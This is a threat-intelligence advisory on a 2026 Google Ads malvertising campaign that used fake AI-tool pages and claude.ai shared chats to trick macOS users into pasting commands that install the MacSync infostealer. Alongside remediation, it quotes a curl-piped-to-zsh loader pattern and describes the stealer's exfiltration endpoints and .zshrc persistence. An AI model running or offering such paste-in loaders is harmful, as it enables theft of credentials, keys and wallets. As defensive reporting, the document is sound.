Threat Actors Abuse claude.ai Shared Chat Feature for ClickFix Malvertising Campaign Delivering MacSync Stealer

Threat Actors Abuse claude.ai Shared Chat Feature for (TL-2026-2241), also tracked as ClaudeFix, is a high-severity malware campaign, first published 2026-08-30. It is linked to a Russia-nexus actor with low confidence, affects Apple macOS, maps to 15 MITRE ATT&CK techniques (T1005, T1027, T1036), and is covered by 9 detection rules and 22 indicators of compromise.

Key facts for TL-2026-2241

Threat ID
TL-2026-2241
Also known as
ClaudeFix
Severity
HIGH
Status
ACTIVE
Category
MALWARE
First published
2026-08-30
Last reviewed
2026-08-30
Attribution confidence
LOW
Nation-state nexus
Russia
Motivation
FINANCIAL
Target sectors
technology
Target regions
Asia-Pacific, taiwan, japan, singapore, india, france, italy
Detection rules
9
Indicators of compromise
22

Malware and tooling in Threat Actors Abuse claude.ai Shared Chat Feature for

Malware and tooling: MacSync Stealer

Between April 8 and June 14, 2026, TrendAI Research tracked a seven-week, six-wave malvertising campaign that hijacked Google Ads searches for AI developer tools (Claude AI, ChatGPT Codex, Perplexity, Cursor IDE, JetBrains) and pivoted from self-hosted GitLab Pages to legitimate claude.ai shared-chat links to host ClickFix terminal-command instructions on a trusted domain. The campaign delivered the macOS-targeting MacSync infostealer to 2,000+ victims (67.2% APAC, 30.5% Taiwan), harvesting browser credentials, cookies, SSH keys, AWS/Kubernetes configs, cryptocurrency wallets and Telegram data before Anthropic banned the responsible accounts and disabled the malicious shared conversations.

How Threat Actors Abuse claude.ai Shared Chat Feature for works

TrendAI Research (Trend Micro) documented a sustained Google Ads malvertising operation running April 8 - June 14, 2026 across six attack waves and 106 unique malicious hostnames. The campaign impersonated at least six brands relevant to AI-assisted developers - ChatGPT Codex, Perplexity, Cursor IDE, JetBrains, and Claude AI/claude.ai - by purchasing sponsored search results for queries such as "claude download" and "claude mac," exploiting the fact that technically skilled users are more likely to trust and execute terminal instructions without suspicion.

Waves 1-4 (April 8 - early May 2026) hosted fake installer and "Mac cleanup" landing pages on 92+ GitLab Pages subdomains (e.g. claude-code-app.gitlab.io, chatgpt-codex.gitlab.io). Beginning with Wave 5 (May 6-14), the operators pivoted to abusing claude.ai's legitimate shared-conversation feature: they set the Claude account display name to "Apple Support" (and later a "Corda Team" persona) and published shared chats containing step-by-step ClickFix instructions for opening Terminal and pasting a Base64-encoded command. By Wave 6 (May 21 - June 14) the campaign had abandoned GitLab infrastructure entirely, using 45 to 61+ distinct claude.ai shared-conversation IDs to host the lure - because the payload now resolved from a fully trusted, Safe-Browsing-exempt domain, it evaded the browser and search-engine warnings that would normally flag a freshly registered malicious host.

The ClickFix command decodes to a curl-piped-to-zsh loader (observed pattern: `curl -kfsSL $(echo '<base64>' | base64 -D) | zsh`) that retrieves a Base64+gzip-packed second-stage script from a C2 host (Zscaler's overlapping June 12-19 sub-wave, dubbed "ClaudeFix," used lasvegaslaminateflooring.com among 170+ hosting domains). That script authenticates to a `/dynamic?txd=<token>` endpoint with a hardcoded API key and fetches a fileless AppleScript payload executed via the Apple-signed `osascript` interpreter, leaving minimal disk artifacts. The AppleScript is MacSync, a Malware-as-a-Service macOS infostealer first tracked since November 2025 across prior ClickFix waves that impersonated OpenAI ChatGPT Atlas and abused chatgpt.com shared-conversation links. MacSync enumerates running processes and system information, then harvests Keychain data, Chromium/Firefox browser credentials and cookies, SSH keys, AWS and Kubernetes configuration files, Telegram Desktop data, shell history, and targeted file extensions (.wallet, .key, .seed, .kdbx, .pem), alongside 80-130+ browser-extension cryptocurrency wallets and desktop wallets (Exodus, Electrum, Bitcoin, Monero, Litecoin); later MacSync variants also trojanize the Ledger hardware-wallet application to capture seed phrases. Stolen data is staged under `/tmp/sync<7-digit-random>/`, archived to `/tmp/osalogging.zip`, and exfiltrated via HTTP PUT in 10MB chunks (up to 8 retries) to a `/gate?buildtxd=...&upload_id=...&chunk_index=...&total_chunks=...` endpoint, with wallet-specific data routed through `/ledger/` and `/trezor/` paths. Observed evasion includes Base64/gzip obfuscation, output redirection to /dev/null, a Russian-keyboard-layout check that skips execution on likely CIS-region hosts, and (in related MacSync iterations) abuse of Apple code-signing/notarization to suppress Gatekeeper warnings entirely. Persistence is achieved by appending the download-and-execute command to `~/.zshrc`, re-triggering on each new terminal session.

Victim telemetry skewed heavily toward Asia-Pacific (67.2%), led by Taiwan (30.5%, 772 confirmed interactions), Japan (201) and Singapore (188), with later waves expanding into India, France and Italy. Russian-language comments found in campaign-tracking code, combined with the CIS-region exclusion logic, point toward a Russian-speaking criminal operator running MacSync as a MaaS offering rather than a nation-state actor. Upon notification by TrendAI Research, Anthropic investigated, banned the accounts responsible, disabled the malicious shared conversations, and stated it is implementing additional abuse mitigations for the shared-chat feature; because MacSync's operators have rotated infrastructure across at least three prior campaign iterations (Nov 2025, Dec 2025, Feb 2026 - the last of which targeted U.S. SLTT government macOS users) before this wave, recurrence via the same or another trusted-platform vector remains likely.

MITRE ATT&CK techniques used in TL-2026-2241

Collection

T1005 Data from Local System

Defense Evasion

T1027 Obfuscated Files or Information; T1036 Masquerading; T1140 Deobfuscate/Decode Files or Information; T1497 Virtualization/Sandbox Evasion

Execution

T1059 Command and Scripting Interpreter; T1204 User Execution

Discovery

T1082 System Information Discovery

Credential Access

T1539 Steal Web Session Cookie; T1552 Unsecured Credentials; T1555 Credentials from Password Stores

Persistence

T1546 Event Triggered Execution

defense-impairment

T1553 Subvert Trust Controls

Initial Access

T1566 Phishing

Resource Development

T1583 Acquire Infrastructure

Affected products and versions in Threat Actors Abuse claude.ai Shared Chat Feature for

  • Apple — macOS
    Vulnerable versions: all supported versions - delivered via social engineering, not a software vulnerability
  • Anthropic — claude.ai Shared Chat feature
    Vulnerable versions: abused April 8 - June 14, 2026; Anthropic has since banned the responsible accounts, disabled the malicious shared conversations, and is implementing additional abuse mitigations

Remediation for Threat Actors Abuse claude.ai Shared Chat Feature for

Immediate actions

  • Block known malicious infrastructure at DNS/web proxy: GitLab Pages subdomains used in Waves 1-4, and C2 domains including lasvegaslaminateflooring.com, filegrowthlabs.com, mansfieldpediatrics.com, and houstongaragedoorinstallers.com
  • Identify and alert users who clicked sponsored Google Ads for Claude AI, ChatGPT Codex, Perplexity, Cursor IDE, or JetBrains between April 8 and June 14, 2026, or who opened a claude.ai shared-chat link from an unsolicited ad
  • On any macOS host where a Terminal command was pasted from a webpage or shared chat, treat the endpoint as compromised: rotate SSH keys, AWS/Kubernetes credentials, browser-saved passwords, and any cryptocurrency wallet keys, and inspect ~/.zshrc for an appended download-and-execute line

Workarounds

  • Restrict or disable AppleScript/osascript execution for standard (non-developer) macOS users where operationally feasible
  • Disable or heavily scrutinize sponsored search results for software-download queries in corporate browsing policy/DNS filtering

Longer-term hardening

  • Train users - especially developers and technically proficient staff who are the deliberate targets of this campaign - on ClickFix social engineering: never paste or execute Terminal/PowerShell commands sourced from a webpage, advertisement, or shared chat link, regardless of the hosting domain's trust reputation
  • Deploy EDR monitoring for osascript/AppleScript execution chains, curl-piped-to-shell invocations, and outbound HTTP PUT traffic in fixed-size chunks characteristic of stealer exfiltration
  • Apply application allow-listing on managed macOS fleets to prevent ad hoc script execution outside of approved software management channels
  • Treat trusted-platform user-generated-content features (shared chats, shared conversations, code-hosting pages) as an untrusted delivery vector for security tooling, independent of the hosting domain's overall reputation

Timeline of Threat Actors Abuse claude.ai Shared Chat Feature for

  • First documented MacSync ClickFix wave impersonates OpenAI's ChatGPT Atlas browser via Google sponsored search, directing victims to fake Google Sites download pages that prompt Terminal command execution.
  • Second MacSync wave abuses legitimate ChatGPT shared-conversation links (chatgpt.com/share/...) to host Mac-maintenance-themed ClickFix instructions, driving 18,000+ clicks in three days before redirecting to GitHub-themed installer pages.
  • Third MacSync iteration adopts a Loader-as-a-Service model with in-memory AppleScript payloads, targets U.S. SLTT government macOS users, and expands to Belgium, India, and North/South America; CIS/MS-ISAC disseminates 1,000+ associated IOCs to members.
  • TrendAI Research's tracked campaign begins: Google Ads hijack searches for Claude AI, ChatGPT Codex, Perplexity, Cursor IDE, and JetBrains, funneling victims to 92+ malicious GitLab Pages subdomains across Waves 1-4.
  • Wave 5 (May 6-14): operators pivot from self-hosted GitLab Pages to abusing claude.ai's legitimate shared-chat feature, setting the Claude account display name to "Apple Support" to host ClickFix terminal instructions on a fully trusted domain.
  • Wave 6 (May 21 - June 14): campaign fully abandons GitLab infrastructure; 45 to 61+ unique claude.ai shared-conversation IDs are identified hosting ClickFix payloads, alongside a newly observed "Corda Team" impersonation persona.
  • Zscaler documents an overlapping short-lived sub-wave (June 12-19), dubbed "ClaudeFix," using C2 domain lasvegaslaminateflooring.com among 170+ hosting domains and a multi-stage curl-to-zsh-to-AppleScript loader chain.
  • Tracked campaign activity window closes; TrendAI Research reports totals of 106 unique malicious hostnames across six waves, 45-60+ abused claude.ai shared-chat instances, and 2,000+ confirmed victims (67.2% APAC, 30.5% Taiwan).
  • Trend Micro publishes its technical research; Anthropic confirms it investigated, banned the responsible accounts, disabled the malicious shared conversations, and is implementing additional abuse mitigations for the shared-chat feature.

Sources cited for Threat Actors Abuse claude.ai Shared Chat Feature for

More in malware

Detection coverage for TL-2026-2241

As of 2026-08-30, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2241 across Splunk SPL, Microsoft KQL and Sigma, covering 22 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Community OSINT corroboration for TL-2026-2241

1 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats